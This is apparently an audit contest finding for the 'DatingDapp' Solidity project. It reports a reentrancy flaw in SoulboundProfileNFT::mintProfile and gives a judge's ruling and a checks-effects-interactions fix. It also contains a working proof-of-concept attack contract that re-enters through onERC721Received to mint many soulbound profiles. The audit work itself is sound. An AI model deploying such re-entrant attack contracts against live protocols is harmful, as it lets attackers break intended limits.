DatingDapp
First Flight #33
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Reentrancy attack in `SoulboundProfileNFT::mintProfile` allows users to mint unlimited NFT profiles

kelbelss

Description

The SoulboundProfileNFT::mintProfile function does not follow CEI and as a result, enables users to mint unlimited NFT profiles.

function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
​
uint256 tokenId = ++_nextTokenId;
@> _safeMint(msg.sender, tokenId);
​
// Store metadata on-chain
@> _profiles[tokenId] = Profile(name, age, profileImage);
@> profileToToken[msg.sender] = tokenId;
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}

In the SoulboundProfileNFT::mintProfile function, an external call to the msg.sender address is made. This means that it can call untrusted code when minting the NFT, specifically in the case where the msg.sender is a smart contract that implements the ERC721Receiver interface.

The _safeMint function in OpenZeppelin’s ERC721 contract checks whether the recipient is a contract and, if so, calls the onERC721Received function on that contract. This allows smart contracts to handle NFT receipts safely.

Impact

Malicious users can mint multiple NFT profiles. This does not align with the protocols goal of having "verified dating profiles" and ensuring "genuine connections".

Proof of Concept

  1. A malicious smart contract calls mintProfile to mint an NFT.

  2. _safeMint calls onERC721Received on the attacker's contract.

  3. The attacker's onERC721Received callback calls mintProfile again before the first call is finished.

  4. The profileToToken[msg.sender] == 0 check passes again because it hasn’t been updated yet.

  5. The attacker can keep minting multiple profiles and bypass the intended logic.

Place the following test into testSoulboundProfileNFT.t.sol.

​
import {AttackContract} from "./attack.sol";
​
function test_mintProfile_reentrancy() public {
// set up attack contract
AttackContract attacker;
attacker = new AttackContract(address(soulboundNFT));
​
// initial check: Attacker should not have a profile yet
uint256 tokenIdBefore = soulboundNFT.profileToToken(address(attacker));
assertEq(tokenIdBefore, 0, "Attacker should not have a profile before");
​
// check initial minted NFT supply
uint256 totalSupplyBefore = soulboundNFT.totalSupply();
console.log("Total Supply Before:", totalSupplyBefore);
assertEq(totalSupplyBefore, 0, "Total supply should be 0 supply before");
​
// attacker calls mintProfile
vm.startPrank(address(attacker));
attacker.attack("Attacker", 55, "ipfs://profileImage");
vm.stopPrank();
​
// check supply after attack
uint256 totalSupplyAfter = soulboundNFT.totalSupply();
console.log("Total NFTs minted after reentrancy attack:", totalSupplyAfter);
}

Place the following attack contract into a new file attack.sol in the test directory.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
​
import {SoulboundProfileNFT} from "../src/SoulboundProfileNFT.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
​
contract AttackContract is IERC721Receiver {
SoulboundProfileNFT public target;
​
constructor(address _target) {
target = SoulboundProfileNFT(_target);
}
​
function attack(string memory name, uint8 age, string memory profileImage) external {
target.mintProfile(name, age, profileImage);
}
​
function onERC721Received(address, address from, uint256 tokenId, bytes calldata)
external
override
returns (bytes4)
{
// Reenter mintProfile before state is updated
require(msg.sender == address(target), "Only target contract can call this function");
require(from == address(0), "from address must be zero address");
​
if (target.totalSupply() < 200) {
target.mintProfile("Hacker", 99, "ipfs://malicious_image");
}
​
return this.onERC721Received.selector;
}
}

Place the following code into SoulboundProfileNFT.sol.

function totalSupply() public view returns (uint256) {
return _nextTokenId;
}

Tools Used

Manual review

Recommendations

To prevent this, we should have the SoulboundProfileNFT::mintProfile function update _profiles and profileToToken before making the external call. Additionally, we should move the event emission up as well.

function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
​
uint256 tokenId = ++_nextTokenId;
- _safeMint(msg.sender, tokenId);
​
// Store metadata on-chain
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
// @audit - issue with name variable - maybe because of memory - also no checks in place
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
+ _safeMint(msg.sender, tokenId);
}
​
Updates

Appeal created

n0kto Lead Judge 8 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding_mintProfile_reentrancy

Likelihood: High, anyone can do it. Impact: Low, several profile will be minted, which is not allowed by the protocol, but only the last one will be stored in profileToToken and won't affect `likeUser` or `matchRewards`.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.